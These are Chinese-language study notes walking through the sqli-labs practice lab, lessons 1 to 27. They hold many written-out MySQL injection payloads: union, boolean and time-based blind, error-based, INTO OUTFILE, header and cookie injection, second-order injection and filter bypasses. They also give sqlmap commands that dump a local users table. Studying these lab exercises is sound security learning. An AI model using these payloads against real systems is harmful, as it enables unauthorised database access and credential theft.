目录
那我们只要输入一个符合第一个字节的 就可以让GBK编码认为 这个是一个汉字 然后就吞掉\转义符
主要对sqli-labs 的深入学习
报错的处理方式
[问题解决方案]Illegal mix of collations for operation ‘UNION‘,_illegl mix of union_Gy-1-__的博客-CSDN博客
Less1
我们先看看源代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
传参是原封不动的传参
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里是进行SQL注入的地方 而且没有进行过滤
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con));
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
如果我们直接传入错误的
因为我们可以直接在linux命令行中执行
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
发现是一样的
SELECT * FROM users WHERE id='1' union select 1,2,3#' LIMIT 0,1 ;
我们尝试联合查询 union
但是这个是因为第一条查询到了 然后返回第二条
我们如何只看第二条呢 只要让第一条找不到就可以了
SELECT * FROM users WHERE id='-1' union select 1,2,3#' LIMIT 0,1 ;
这里只需要 将id设置为数据库不存在的即可
这里有一个很重要的问题
我们先需要了解 union是 怎么查询的
SELECT column1, column2, ... FROM table1
UNION
SELECT column1, column2, ... FROM table2;
首先要保证两个查询的column数是一样的
假如
SELECT id, name, age FROM students WHERE id = 100
UNION
SELECT id, name, age FROM teachers WHERE id = 200;
但是没有 id=100的数据
但是,由于第二个 SELECT 查询的列数和数据类型与第一个查询的结果集相同
UNION 运算符会返回第二个 SELECT 查询的结果,只要它的 WHERE 子句中的条件满足。
因此,在使用 UNION 运算符组合两个 SELECT 查询时,只要它们的列数和数据类型相同
即使第一个查询没有返回结果,仍然可以返回第二个查询的结果。
这里就是我们最基本SQL注入的想法 通过第一个查询不到 然后和第二个查询 形成集合返回给我们
就只会返回第二个 因为第一个查找不到
所以我们可以开始做这道题目
?id=1'
来判断是什么类型的 发现是字符型 因为一个单引号报错
near ''1'' LIMIT 0,1' at line 1
这里会蒙
其实报错报错信息是
'1'' LIMIT 0,1
所以我们能够发现是字符型注入
我们先看看能不能构造万能密码
?id=1' or 1=1 -- + 发现是可以的
select * from users where id ='1'or 1=1-- +'
真 or 真
就算我们使用假的也可以
select * from users where id ='-1'or 1=1-- +'
假 or 真
这个在数据库里面是怎么查询的呢
这样就很明显能发现 可以返回数据库里的内容了
首先来爆字段
?id=1' order by 1-- +
?id=1' order by 2-- +
?id=1' order by 3-- +
?id=1' order by 4-- +
发现字段为3
order by 就是通过列来排列 默认是降序
这里是通过 order by 来判断字段
因为123 的时候有返回
4就没有 说明就有3个字段
联合注入
我们猜完字段就可以使用 union来联合注入
union的作用
select 语句1
union
select 语句2
union 会把两个select 语句 结果变为一个集合返回
如果1 报错 没有返回 就会返回2的结果
判断注入点
首先我们看看哪里会回显
/?id=-1' union select 1,2,3-- +
注意前面需要是错误的id
发现我们可以在 2 3 进行注入
爆数据库名
?id=-1' union select 1,2,database()-- +
我们使用database()函数来爆破 数据库的名字
database()是一个Mysql函数 在查询语句的时候返回当前数据库的名字
这里我们就得到了数据名字
爆破表名
这里我们就需要了解一下其他的系统数据库和表
information_schema
是一个系统数据库 它包含了MySQL数据库中所有的元数据信息
information_schmea.tables
这里主要是值tables表
我们需要的数据库 security的信息也在里面
这个tables表可以查询到 数据库所有的表名和信息
所以我们可以继续写语句
我们首先要了解要查什么
1.我们需要查数据库的表
2.数据库的表 存放在系统数据库的 information_schema.tables表中
3.在information_schema.tables中存在table_schema(数据库名) 、table_name(表名)
4.我们需要查询 information_schema.tables表中 的table_name(表名) 并且我们已知 table_schema(数据库名)
所以我们就可以写sql语句
网站
?id=-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +
数据库
select * from users where id='-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +'
这里只会返回 第三列 email的列名 因为 我们是在 3 的地方进行查询
这里就要使用其他的聚合函数
group_concat()
我们要知道 group_concat()
是通过将返回值 作为一个字符串返回的函数
很好理解
table_name from information_schema.tables
这里 返回的table_name假设是 a b c 这里是3个返回值
group_concat(table_name) from information_schema.tables
加上聚合函数返回的就是 "a b c" 变为了1个返回值
从这里就可以看出来 只在3 返回了 并且返回的是一个字符串(所有的列名合为一个)
网站
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- +
数据库
select * from users where id='-1'union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'-- +'
这里我们就得到了表名 现在 就可以选择一个表名进行查看
爆破列名
这里也是要用到我们的系统数据库
information_schema.columns
这个是 系统数据库的字段表
存放着每个数据库的字段信息
1.我们需要确定我们查询的是什么表
2.我们需要的是表的字段名
3.通过information_schema.columns 可以查询字段名
4.要求是要知道 表名是什么
其中的table_name 就是我们知道的信息(表名)
column_name就是我们需要查询的信息(字段名)
假设我们需要查询的是users表
select * from users where id='-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where TABLE_NAME='users'-- +'
这里就是返回了users的所有字段名
这里返回了一些不是表中的字段
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
这是为什么呢
因为我们在写语句的时候 没有指定数据库 只指定了users
我们不排除其他地方也存在users 的表
很显然 还有其他数据的表的字段也返回了
这个时候我们只需要加入一个and 即可
?id=-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='users'-- +
爆值
?id=-1'union select 1,2,GROUP_CONCAT(id,'--------',username,'--------',password) from security.users-- +
因为我们知道了所有的信息 所以爆值就很快
通过字段 然后选择 数据库.表名 即可得出值来
这个时候就很简单取得值即可
SQLMAP
开启mysql 和 apache 服务
保证 靶场搭建
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables
这个会返回所有的数据库和数据库的表
我们确定了数据库和表就可以直接来爆破字段
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns
我们就可以直接得出值
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump
Less-2 -4
差不多 注入即可
Less -5 布尔
id=1
id=1'
我们看看能不能直接爆字段
发现是可以的
但是这里不能使用联合注入 因为真 只会返回 You are in的页面
错误就返回什么都没有的页面
我们这个时候可以通过逻辑判断来猜
数据库
?id=1' and length((select database()))>7 -- +
这个解释
先通过 (select database()) 来查询数据库
然后放入 length(数据库的字符串) 来判断长度
通过后面的判断来猜测长度
也可以使用其他的逻辑
?id=1' and length((select database()))=8 -- +
这里就确定了 数据库名的长度为8
这个时候就需要另一个函数了 ascii() 和substr()
这个作用就是切片和转为ascii 然后对ascii进行对比就可以爆破出数据库
SUBSTR(要切片的字符串, 从什么时候开始, 切多少)
我们可以开始构造
id=1' and ascii(substr((select database()),1,1))=115 -- +
这里 我们就可以通过二分法 判断 ascii的值为115
为s
然后就可以一个一个爆破出来
这样数据库就爆破完成
接着我们就可以开始爆破表了
表名
/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29-- +
说明有 这个字符串长度为29
然后我们就可以开始一个一个爆破
?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101-- +
第二位
?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),2,1))=109-- +
一个一个爆破即可
字段名
/?id=1' and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20-- +
长度为20
开始猜
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105 -- +
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),2,1))=100 -- +
爆破值
猜测长度
?id=1' and length((select group_concat(id,username,password) from security.users))=192-- +
猜测ascii
第一个
?id=1' and ascii(substr((select group_concat(id,username,password) from security.users),1,1))=49 -- +
第二个
?id=1' and ascii(substr((select group_concat(id,username,password) from security.users),2,1))=68 -- +
这样就可以一步一步爆破出来 但是时间很久 所以使用脚本或者sqlmap是遇到布尔的解决方式之一
SQLMAP
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" --dbs
security
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security --tables
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security -T users --columns
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1'" -D security -T users --dump
Less-6
判断注入类型
id=1"
数据长度
?id=1" and length((select database()))=8-- +
爆数据名
s
/?id=1" and ascii(substr((select database()),1,1))=115-- +
e
?id=1" and ascii(substr((select database()),2,1))=101-- +
.....
最后得到 security
表的长度
/?id=1" and length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29-- +
猜表名
e
?id=1" and%20 ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101 -- +
m
?id=1" and%20 ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),2,1))=109 -- +
最后得到了
emails,referers,uagents,users
猜字段长度
?id=1"and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'))=20 -- +
猜字段名字
i
/?id=1" and%20 ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),1,1))=105 -- +
d
/?id=1" and%20 ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),2,1))=100 -- +
id,username,password
猜测值的长度
?id=1" and length((select group_concat(id,username,password)from security.users))=192 -- +
猜值的字符串
1
?id=1" and ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49 -- +
D
?id=1" and ascii(substr((select group_concat(id,username,password)from security.users),2,1))=68 -- +
最后就得出来了
Less-7
这个题目使用布尔注入可以
进行闭合的判断
1"))and 1=2-- +
ture 说明不是闭合
?id=1'))and 1=2-- +
false
说明是闭合
判断出是闭合后
直接进行布尔注入
?id=1')) and length((select database()))=8-- +
outfile
outfile是mysql通过搜索值导出到本地的一个指令
我们可以进行尝试
?id=-1')) union select 1,2,(select database()) into outfile%20 "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.txt"-- +
发生报错 但是我们去看看我们的路径下是否存在 1.txt
发现存在
内容就是我们需要的
这样我们就可以直接一步一步报出来
?id=-1%27))%20union%20select%201,2,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database())%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\2.txt%22--%20+
?id=-1%27))%20union%20select%201,2,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database())%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\3.txt%22--%20+
?id=-1%27))%20union%20select%201,2,(select%20group_concat(id,%27-----------%27,username,%27-----------%27,password)from%20security.users)%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\4.txt%22--%20+
到这里 就结束了
Less-8
这题和第七题一样
布尔注入 outfile都可以
类型就是 1'
Less-9 时间注入
这道题目 我们无论输入什么 都是返回 you are in
这个时候 不能使用有回显的注入了
因为他们无论有没有回显 都是回显 you are in
这个时候我们使用时间注入
时间注入 是在 布尔注入的基础上 加上了 if 和 sleep
if(查询语句,sleep(10),1)
通过这个我们就可以实现时间注入
如果 查询语句为真 就执行 sleep(10)
否则 执行 1
我们直接进行尝试
先判断闭合
?id=1' and if(1=1,sleep(10),1)-- +
发现确实 加载了10秒 所以 类型就是字符 然后闭合为 1'
可以开始判断 数据库长度
这里不需要才字段数 因为是以布尔注入为基础
直接一位一位爆
猜字段数是因为 union的需要
数据库长度
?id=1' and if(length((select database()))=8,sleep(5),1)-- +
为 8
爆破数据库第一个字符
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- +
为s
最后得到数据库security
爆破表的长度
/?id=1' and if(length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29,sleep(5),1)-- +
为29
爆破表的第一个字符
?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101,sleep(5),1)-- +
为e
最后爆破出来emails,referers,uagents,users
爆破字段的长度
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20,sleep(5),1)-- +
为20
爆破字段的第一个字符
?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105,sleep(5),1)-- +
为i
最后为 id,username,password
爆破值的长度
?id=1' and if(length((select group_concat(id,username,password)from security.users))=192,sleep(5),1)-- +
长度为192
开始爆破值
?id=1' and if(ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49,sleep(5),1)-- +
最后爆破为
1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
这样时间注入就实现了
但是花费时间精力巨大 还是推荐sqlmap跑一下
Less-10
?id=1" and if(1=1,sleep(5),1)-- +
判断完字符类型
就和前面一样了
一样的 outfile 也可以使用 但是首先无法猜测字段 所以也就没有办法了
并且正常情况下无法知道 绝对路径
Less-11
变为了Post类型
我们可以选择在 账号 或者密码进行注入
首先进行尝试万能密码
1 or 1=1-- + 整型
1' or 1=1 -- + 字符
这个既可以看看能不能进入后台 又可以看看是什么类型的闭合
万能密码原理
select * from user where id='1' or 1=1-- +'
最后得到
1' or 1=1 -- +
开始使用联合注入
猜字段
1' order by 3-- +
得到两个字段
查看回显
1' union select 1,2-- +
得到 1,2都可以回显
查看数据库名
1' union select 1,database()-- +
得到security
查看表名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- +
得到emails,referers,uagents,users
查看字段名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'-- +
得到id,username,password
查看值
1' union select 1,group_concat(id,'-------',username,'--------',password)from security.users -- +
Less-12
通过报错判断
然后结合万能密码
1") or 1=1 -- +
正常注入即可
1") union select 1,group_concat(id,'-------',username,'--------',password)from security.users -- +
Less-13 报错注入 updatexml()
判断闭合
1') or 1=1 -- +
这道题 回显 只有两个 一个是正确 一个是错误 所以应该可以使用布尔注入
布尔注入
1') or length((select database()))=8-- +
这里和之前不一样
之前是
1') and length((select database()))=8-- +
因为首先我们无法得到username和password 所以第一个就是假
如果要让语句为真 就要用
假 or 真 = 真
然后就通过 ascii() substr() length() 交替爆破即可
报错注入
这里还可以使用另一个方式 报错注入
通过
updatexml() concat()函数来实现
updatexml()
这个和我们查询没什么关系
主要是
updatexml(1,2,3)
当第二个参数2为一个特殊符号的时候 就会返回报错
这个函数原本是用来更新xml值的
updatexml(需要更新的xml文档,xpath表达式,替换的值)
在 xpath表达式写入特殊符号 这样就不是返回mysql的报错
而是返回 xpath的错误
这个时候要知道另一个函数 concat()
就是把两个字符串 合并
concat("hello","world")
为helloworld
这个时候 通过 updatexml(1,concat(0x7e,查询语句),3)
就可以合并返回报错信息
其中 concat()内容可以是任何数据类型
所以我们可以直接开始报错注入
查看是不是报错注入
1') and updatexml(1,0x7e,3)-- +
爆数据库
1') and updatexml(1,concat(0x7e,database()),3)-- +
爆破表名
1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
爆破表名
1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3)-- +
爆破字段名
1') and updatexml(1,concat(0x7e,(select group_concat(id,'-------',username,'------',password)from security.users)),3)-- +
但是这个时候出现了 新的情况
报错的长度受限制
这个时候 我们就可以使用substr 或者limit
substr
1') and updatexml(1,concat(0x7e,substr((select group_concat(id,'-------',username,'------',password)from security.users),15,31)),3)-- +
limit
注意 limit 需要使用 concat() 而不是group_concat()
1') and updatexml(1,concat(0x7e,(select concat(username,password) from security.users limit 0,1),0x7e),1)
concat()和group_concat()
concat()
group_concat()
所以只有concat()才可以 limit
报错注入 还不只有这些 在后面的题继续给出
Less-14 报错注入 extractvalue()
首先我们要先了解这个函数是什么
extractvalue(xml字符串,xpath表达式)
这个和updatexml一样 都是通过xpath表达式的报错
来实现报错注入
这个我们理解后 就可以直接开始了
判断闭合
1" or 1=1-- +
发现只有 成功和失败 这里就布尔注入
但是我们看看能不能报错注入
1" or extractvalue(1,0x7e)-- +
发现存在了
那我们就开始
爆破数据库
1" or extractvalue(1,concat(0x7e,(select database())))-- +
爆破表
1" or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))-- +
爆破字段
1" or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())))-- +
爆破值
1" or extractvalue(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)))-- +
最后修改 limit x,1即可
Less-15 post类型的sqlmap
发现没有任何报错信息 只有成功和失败 那么就是 布尔注入
1' or 1=1-- +
那么就可以使用length()->ascii()->substr()来实现布尔注入
这里主要演示 POST类型的SQLMAP
首先输入账号密码(随便)进行抓包
右键->copy to file
保存到sqlmap的目录下
sqlmap -r "路径" --dbs
Less-16
1") or 1=1-- +
布尔注入
Less-17 报错注入 主键重复
这题我们可以看到不一样的界面
发现是密码重置
说明我们是在密码重置的地方进行注入
那我们可以想一想
如果我们已经进入密码注入 那么我们是不是就已经进入了后台 因为
一般的都是需要你验证过了 才可以实现设置密码
来试试看
发现报错了
但是这个位置 有点奇怪
1' and 1=1-- +
通过这个我们能够确认了 1' 为闭合
我们开始尝试
先看看能不能联合注入 看看能不能猜字段
1' order by 1-- +
发现不可以
我们看看能不能报错注入
1' and updatexml(1,0x7e,3)-- +
发现出现了 这里可以通过报错注入
那我们开始注入
这次使用另一个注入 主键重复
这个我觉得还是挺复杂的
首先我们要知道rand()函数
rand()函数是在 0-1之间生成随机数
其中 如果给rand指定参数 例如rand(0) 那么他就会以这个种子(规律)去生成
其中 如果给定了值 生成的随机数就不会变
rand(0)第一次的生成
rand(0)第二次生成
发现没有任何的变化 所以其实就是固定生成这些
了解完rand 我们开始了解一下 floor()
floor()其实没有什么特别的 就是向下取整
主要的用法只是对rand()进行变化
这里就要提出一个
floor(rand(0)*2)
这个其实就是对rand的值进行计算
得出来的其实就是0 1
最后我们需要了解 group by 和 count(*)
count(*)就是进行计算出现了多少条
group by 就是通过什么分组
这两个在一起就会出现
select count(*) from users group by password
因为我们的表中 password没有重复的值 所以都是1
构造报错
这里就到主键重复报错了
首先我们先给出代码
select COUNT(*) from users group BY floor(rand(0)*2)
然后来看看代码是怎么运行的
首先生成一个虚拟表
第一次计算和第二次计算
计算得出为 0 但是其中并没有0 的主键 所以会在对floor进行执行
这里相当于第一次执行是查值
第二次才是插入值
得到1 就把1 插入 然后count(*)+1
主键 | count(*) |
1 | 1 |
第三次计算
首先通过group by 查值
发现是1 里面存在主键1 所以直接 count(*)+1即可
主键 | count(*) |
1 | 2 |
第四次计算和第五次计算
先通过group by查值
发现是0 表中不存在
那么就需要再计算一次来插入
得到1 但是1在主键中已经存在了
这里就会发生主键重复报错
注意
这里序列应该是 0110
假如序列是0,1,0,0 或者 1,0,1,1 就不会形成报错 因为 会插入主键 0,1
做题
通过学习我们知道了 主键重复注入
爆破数据库
1' and (select count(*)from information_schema.tables group by concat(database(),floor(rand(0)*2)))-- +
得到数据库security
爆破表名
1' and (select count(*)from information_schema.tables group by concat((select group_concat(table_name)from information_schema.tables where table_schema='security'),floor(rand(0)*2)))-- +
得到了表emails,referers,uagents,users
爆破字段名
1' and (select count(*)from information_schema.columns where table_schema=database() group by concat((select group_concat(column_name)from information_schema.columns where table_name='users'and table_schema=database()),floor(rand(0)*2)))-- +
得到字段名id,username,password1
爆破值
1' and (select 1 from(select count(*),concat((select username from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) -- +
这里的写法不一样
1' and (select 1 from(select count(*),concat((select group_concat(username)from users),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +
1' and (select 1 from(select count(*),concat(substr((select group_concat(password)from users),52,120),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +
是通过别名来实现 这里后面可以深入了解一下
我们通过这个写法来写一遍注入
数据库名
1' and (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
表名
1' and (select 1 from(select count(*),concat((select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
字段名
1' and (select 1 from(select count(*),concat((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),floor(rand(0)*2))x from information_schema.columns group by x)a)-- +
爆破值
1' and (select count(*),concat((select group_concat(username)from users),floor(rand(0)*2))x from information_schema.columns group by x limit 0,2)-- +
从这里看出 group by 的使用条件要很多 比如 需要至少3个数据等
正常报错注入使用前两个即可
extractvalue()
数据库
1' and extractvalue(1,concat(0x7e,(select database())))-- +
表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security')))-- +
字段
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())))-- +
值
1' and extractvalue(1,concat(0x7e,(select * from(select group_concat(id,username,password)from users)a)))-- +
这里注意
在指定users表的时候 会报错 因为mysql不允许查询和更新语句在一起的时候 使用同一个表
所以这里通过
(select * from(select group_concat(id,username,password)from users)a)
生成了一个新的a 虚拟表来查询 这样就不会报错了
Less-18 UA注入
这里主要是写UA注入
我们先进行判断
这里
出现了一个ip地址 然后又有一个登入注册框
我们可以看看
首先 我们先进行登入 一定要登入成功!!
然后我们进行抓包 因为修改UA 要么用hackbar 要么就是bp最方便
我们不知道ua是什么语句 我们就随便输入一个' 看看
User-Agent: '
发现报错信息了
我们继续测试
User-Agent: '1'
发现报错了
我们就可以猜
('ua','ip地址','用户')
差不多是这样 那我们只有 ua是可控的
我们就想想看怎么可以实现
('' or updatexml(1,0x7e,3),0,1)-- +','ip地址','用户')
通过构造报错注入
这里就实现了('' or updatexml(1,0x7e,3),0,1) 这个语句
三个参数 1:'' or updatexml(1,0x7e,3)
2:0
3:1
然后就可以开始爆破了
' or updatexml(1,concat(0x7e,database()),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3),0,1)-- +
' or updatexml(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)),3),0,1)-- +
这样就爆破完毕了
Less-19 Referer
成功登入后
那这次是 Referer
Referer: ' or updatexml(1,0x7e,3),1)-- +
发现可以注入
Less-20 Cookie
首先我们打开网站
通过测试发现登入界面无法注入
从后端代码也可以发现存在 一个check input
所以我们先尝试登入后 看看有没有存在注入
我们要测试哪里可能存在语句
所以bp抓包看看
经过测试 发现是在cookie上存在与数据库交互
Cookie: uname='
我们看看能不能直接使用报错注入 因为 他语句后面就是 limit 0,1没有其他参数
Cookie: uname=' and updatexml(1,0x7e,3)-- +
发现存在
我们就直接开始爆破即可
' or updatexml(1,concat(0x7e,(select database())),3)-- +
' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3)-- +
' or updatexml(1,concat(0x7e,(select concat(username,password)from security.users limit 0,1)),3)-- +
我们看看源代码
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
Less-21
这道题一样的
登入后进行抓包
在cookie中发现了 base64加密
我们看看上传base64的加密后的闭合看看
发现了报错 是 ')类型的
我们直接加上 然后看看报错注入可不可以
然后进行注入即可
Less-22
和21一样 只不过 闭合是双引号闭合
Less-23 过滤 注释符
从这里就开始过滤了
我们先fuzz一下看看
通过fuzz 我们能发现 是单引号闭合
?id=1' or 1=2-- +
但是这个报错信息有问题 因为我们使用 -- + 进行注释 后面的 但是会返回 limit
说明有可能被过滤了
我们看看其他注释
#
发现是一样的
因为我们知道了是单引号闭合
我们来判断
1' and '1'='1
1' and '1'='2
发现确定了 我们开始看看union注入可不可以
这里无法使用 order by 来判断字段 所以只能使用 select 一个一个猜
这里就可以判断出 是3个字节 回显了正确的值
查看注入点
/?id=-1' union select 1,2,'2
爆破数据库
之后就是正常的联合注入了
Less-24 二次注入
该注入 并不是我们执行查询来实现爆破数据库
而是通过 设计者的逻辑缺陷来 实现获得管理员账号
首先我们收集一下信息
存在哪页面可以让我们进行测试注入
1首页(登入界面)
2创建新用户界面
3登入成功界面(修改密码)
该二次注入 就是在测试
所以注入其实还是靠猜
首先我们看看能不能对两个不登入界面进行测试
发现1 无法注入 存在过滤
2也无法注入 就是创建一个用户而已
我们这个时候想一想
如果他只是通过转义呢
解释
\' ----->'
如果只是进行转义 那我们 假如输入 admin'
他就会变为 admin \' 这样我们就无法实现注入 会被当做字符
但是存入数据库的却还是 admin'
这里就是设计的缺陷地方
如果我们输入 admin ' #或者 admin ' -- +
那么会被过滤 但是存入数据库的还是 admin' # 和 admin ' -- +
测试
这里发现 我们输入的恶意语句 直接作为字符串存入了数据库
那我们看看能不能登入
成功登入
这里是一个修改密码的语句
那我们思考一下
数据库中已经指定了我们的账号 admin'#
那在数据库中一般是如何指定呢
username='用户名'
那我们恶意的字符串呢
username='admin'#'
那这里 不就实现了我们的注入 因为会注释掉后面的' 所以这个时候会修改admin的账号
那我们不就可以通过admin登入管理员界面了
测试
修改成功
发现admin被修改了
我们看看能不能登入
发现成功登入了
这个就是二次注入简单应用
接下来我们看看源代码
登入界面
index.php
传给login.php
login.php
转义
我们来看看这个函数是干嘛用的
mysql_real_escape_string()函数
是对字符串进行转义的
假如我们输入 admin'
他就会自动 admin\'
然后就会实现转义
对
单引号'
双引号"
反斜杠\
Null字符 \0
这些进行转义
所以在这里我们无法通过 ' 闭合来实现sql注入
注册界面
new_user.php
输入的内容转到 login_create.php处理
login_create.php
过滤
插入
这里就是直接把我们污染的用户名插入数据库
修改密码界面
logged_in.php
pass_change.php
过滤
更新语句
如果两个密码相同 就更新
这里就是注入的地方
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
这样修改的就是admin的密码了 这样就得到了管理员的账号
二次注入就到此结束
Less-25 or和and的过滤
提示了or and 可能过滤了这两个
我们看看 能不能通过逻辑判断来判断注入点
在提示中发现 确实过滤了and
这里我们可以看看有几种绕过的方式
双写绕过
or----> oorr
and----> anandd
这种过滤的原理就是 他匹配到了 or 和 and 并且过滤了 但是过滤完会重新组合为 or 和 and
or用|| and使用 &&
这里and无法使用 && 但是 or可以使用 ||
?id=-1' || 1=1-- +
添加注释
/*or*/
发现不行
大小写变形
Or oR
aND And
不行
编码
hex
url
但是都不行
Less-25a
还是 or 和 and 通过判断是整数型
?id=(2-1)
通过这个判断即可
然后继续注入即可
Less-26 空格、union和select的过滤
过滤了空格和一些命令
我们试试看
绕过空格
我们可以使用()来实现
这道题我的环境中只可以使用报错注入 无法绕过空格过滤
?id=1'||(extractvalue(1,0x7e))||'1
?id=1'||(updatexml(1,0x7e,3))||'1
group by 的无法使用
?id=1'||(extractvalue(1,concat(0x7e,(database()))))||'1
?id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))))||'1
?id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())anandd(table_name='users')))))||'1
?id=1'||(extractvalue(1,concat(0x7e,(substr((select(group_concat(username,passwoorrd))from(users)),25,40)))))|'1
但是看网络的wp
空格可以使用 %0a %a0 %0b绕过
Less-26a 判断闭合
这道题是')闭合
首先我们来学习一下如何判断')闭合
select * from user where id=('id')
输入 2'||'1'='2
select * from user where id=('2'||'1'='2')
这个 通过逻辑判断 返回的是 bool 为1 所以会查询id=1
如果不是括号闭合
select * from user where id='2'||'1'='2'
这里就只会查询 id=2的值 所以查看回显就可以 如果回显的是1的页面 就说明是括号
如果回显的是2的页面 就说明是括号闭合
然后就和26一样进行注入即可
Less-27 过滤 union select
这里很明显就是过滤了union 和 select
但是把 or and 放出来了
并且这道题 使用 %0a就可以绕过空格
我们直接开始判断闭合
2'and%0a'1'='1
2'and%0a'1'='2
说明我们得到了闭合
我们直接开始看看能不能执行order by但是这里注意
我们使用order by 是直接通过列举
因为 后面存在 一个 ' 所以我们需要把他完成闭合 不然会报错
?id=2'order%0Aby%0A1,2,3,4,'5
这个其实也是排列 按照 1,2,3列进行排列 并且通过字母排列
得到3个字段
直接脱库看看
通过大小写和双写绕过过滤
?id=0'unUNIONion%0ASELSELECTECT%0a1,2,'3
直接爆破
我们选择 2 的位置爆破 但是这里要注意 因为2 在 中间字段
所以正确写法应该是
union select 1,group_concat(table_name),3 from information_schemat.tables where table_schema=database()
别忘记3 要在 指定表的前面
0'unUNIONion%0ASELSELECTECT%0A1,database(),'3
表名
0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and'1
